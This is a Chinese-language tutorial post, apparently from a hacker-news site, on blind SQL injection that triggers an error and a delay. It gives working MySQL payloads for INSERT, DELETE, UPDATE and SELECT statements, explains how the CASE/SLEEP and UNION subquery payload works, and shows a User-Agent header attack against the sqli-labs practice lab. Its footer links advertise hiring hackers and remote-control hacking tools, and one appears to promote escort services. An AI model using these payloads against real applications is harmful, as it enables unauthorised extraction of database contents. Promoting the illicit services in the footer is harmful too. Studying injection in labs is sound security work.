基于报错和延时的注入(不限场景)

访客4年前黑客资讯704

·? ? ? ? 本人是研究sql注入知识的新手,这几天沉迷于研究sql注入的知识,碰巧在一本书中看到有一个基于sql语句逻辑的报错思想,根据该报错思想进行构造sql语句之后,发现构造的sql语句可以通过insert,delete,update包括select都可以进行延时注入,由于该延时是和sql语句执行之后的语法报错关联在一起的,所以标题就起名为《基于报错和延时的注入(不限场景)》了。

insert

insert into users(username,password) values ('1230'|(select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A) |'1','123456');

1608511905_5fdff1a13c6fe807d874b.png!small?1608511904816

1608512324_5fdff3447b2ba2e7c255d.png!small?1608512324064

-- 页面中返回的false代表当前的insert语句没执行成功,插入失败。

-- insert中构造payload时,需要使用|进行连接,否则payload会执行错误,并且在闭合的引号中,值要为数字,比如 11' | payload |'11


delete

delete from users where username='1'||(select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A)#';

1608511935_5fdff1bf3293d08757a8b.png!small?1608511934728

1608512366_5fdff36e2f4af460bd41a.png!small?1608512365723

-- 页面中返回的false代表当前的delete语句没执行成功,删除失败。

-- delete中构造payload时,需要使用||进行连接,否则payload会执行错误,并且在闭合的引号中,值要为数字,比如 11' | payload |'11

Update

update users set username="123"| (select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A)|"" where password="admin1" ;

1608512073_5fdff249a0a7a50cdb31d.png!small?1608512073128

1608512388_5fdff3849c58e0db52ca6.png!small?1608512388139

-- 页面中返回的false代表当前的update语句没执行成功,无数据被更新。

-- update中构造payload时,需要使用||进行连接,否则payload会执行错误,并且在闭合的引号中,值要为数字,比如 11' | payload |'11

select

select username,password from users where id=-1 | (select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A);

1608512008_5fdff20869f56dff50023.png!small?1608512007984

1608512440_5fdff3b8e10f217293f13.png!small?1608512440415

-- 页面中返回的false代表当前的select语句没执行成功,没查询到数据。

-- select中构造payload时,需要使用|进行连接,否则payload会执行错误,并且在闭合的引号中,值要为数字,比如 11' | payload |'11

相对于select的原延时注入,这个更繁琐一些,所以这里的select的报错延时注入只是为了证明该payload可以在任何场景中使用



分析:

将语句拆分来看:

'? |? ( selectpayload1? ?from?payload2 )? |? '

'? ||? ( selectpayload1? ?from?payload2 )? ||? '

' || (select payload1 from payload2) #

1.先闭合引号

2.使用 | 或 || 将payload进行连接

3.拆分之后可以发现结构就是普通的select查询语句(select XX from XX)

4.在insert,update中的payload相当于字符型的值,使用 | 进行连接表示:( 原值 或者 payload执行后的结果); || 表示:(原值 和 payload 执行后的结果,所以 || 相当于编程中的连接符)。

#切记:insert使用 || 会插入值,| 不会。

#? delete使用||可以将条件为假,如果使用 | 不会删除值,但是会导致语句语法报错,导致payload执行失败。

#? update使用||会更新值,|不会

#? 而在where后,就会当作bool型的值,



payload1位置语句

CASE?WHEN?ascii(substr(database(),1,1))=115?THEN?SLEEP(3)?ELSE?'V'?END

分析

·? 1.截取当前数据库的之一个字符,并进行ASCII转码

·? 2.将转码后的值和自己设定的值进行比较,当条件成立时,页面返回延时3秒,否则返回一个字符串。

·? 3.由于当前payload是被构造在字段名的位置,所以整条语句将case返回的值当做字段名

· 如果将case改为if,则会直接报错,达不到我们想要的结果,所以只能使用case。


payload2位置语句

将语句拆分来看:

( (SELECT?2) UNION (SELECT?1) )? TT

分析

·? 1.之一个select查询了一个自定义字符,会直接返回

·? 2.再使用union查询一个自定义字符,也会直接返回

·? 也就是一共返回了两行数据

·? 3.将返回的结果赋予一个别名,就是为了使最外层的sql语法不报错

如果不起别名的话,two的位置会返回两行数据,在语法规范上就直接报错了,会导致整条语句都不执行,也就执行不了子查询中返回的sleep(5)。

如图:1608522784_5fe01c20890e8c5729684.png!small?1608522783948





完整语句解析

· 当case条件成立的时候,页面延时3秒之后返回数字0,也就是(select0from XX) 。 由于第二个关键字的存在数据行数达到了两条,所以此时会发生语法错误,会终止整条语句的执行,所以当前的insert/delete/update/select语句的最初功能也会被终止。

· 但是在 payload1 处构造的条件语句已经被执行了,可以得到想要的页面延迟。

· 所以,所有对SQL语句的处理都发生在服务器内部,不需要报错信息,也不用担心条件判断语句不会执行,最终实现原理和select的延时注入一样。

如图:

1608523097_5fe01d59dce8327d91eb6.png!small?1608523097273



实战实例

如图:

图1

1608523127_5fe01d7782ce3090b0f9a.png!small?1608523127054

图2? 图2是我将条件赋值为不成立的时候

1608523192_5fe01db826c48aeaa42b4.png!small?1608523191652

在请求头的user-agent处构造语句,查询当前数据库的之一个字符的ASCII码值,我直接给赋值为115。对应的字符是s,因为数据库名的之一个字符也是s,所以条件成立,页面延时了5秒进行返回,所以判定之一个字符的ASCII码值就是115,实现注入。

(测试中使用到的是本地靶场sqli-labs/less-18,当前页面会默认将我的user-agent头部信息存储到数据库中,所以所以通过user-agent实现注入)。



优点

·不需要回显点

·不需要报错信息

·适用范围广(insert/delete/update/select),在文章的开头就有图片示例


注:该报错思想在2011年由“纽约大学阿布扎比计算机安全博士后研究员-@vanhoefm”首次发布。后经本人二次构造而成立。


作者:GoodXuan ? ·

学校:必安科技-必火 *** 安全? ? ? ? ? ? ? ? ? ? ? ?·

E-mail:2596456807@qq.com? ·

如若转载请在文章中表明原文章出处与作者? ·



---------------------------------------------------------------------------------------------------------------

本人渗透学习时长略短,如文章有不足之处,请多多包涵

相关文章

黑客帝国是讲什么意思(黑客帝国讲的是什么意思)

黑客帝国是讲什么意思(黑客帝国讲的是什么意思)

本文导读目录: 1、黑客帝国1,2,3讲的是什么? 2、《黑客帝国》主要讲的什么故事? 3、黑客帝国到底说了个什么意思?高手请指教 4、黑客帝国讲的是什么故事? 5、黑客帝国具体讲的是...

黑客吧远控软件(黑客远控工具包)-MARK交易所被黑客攻击

黑客吧远控软件(黑客远控工具包)-MARK交易所被黑客攻击

黑客吧远控软件(黑客远控工具包)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑客业务、...

照片删了黑客能看到吗

360安全卫士里有文件粉碎机工具的,可以用它来对文件粉碎删除,这样保险些 不能,黑客你可以认为是一个手无缚鸡之力的隐形人,他不能恢复数据,恢复数据请找专业人士,例如飞客数据恢复中心,不过价格非常可怕。...

如何找黑客办事-别人找黑客查我并爆出来了

如何找黑客办事-别人找黑客查我并爆出来了

如何找黑客办事相关问题 当一名黑客需要学英语吗相关问题 什么是黑客 怎样防御 埃塞俄比亚(埃塞俄比亚航空公司官网)...

iphone死机怎么办?教你一教快速解决

iphone死机怎么办?教你一教快速解决

智能手机的功能越来越强大了,但是数码产品在使用过程中偶尔会出现一些难以避免的小故障。例如死机、反应迟钝那是时有发生。那么,当手上的iPhone出现卡死无反应等问题时应该如何应对呢?下面提供几个方法...

深圳市真正在飞空中小姐预约联系电话翠绿色入口【李功碧】

深圳市真正在飞空中小姐预约联系电话翠绿色入口【李功碧】 今日给大伙儿共享的內容是“深圳市真正在飞空中小姐预约联系电话翠绿色入口【李功碧】”,我是李功碧,来源于临沂市,2020年二十一岁,做为岗位:海南...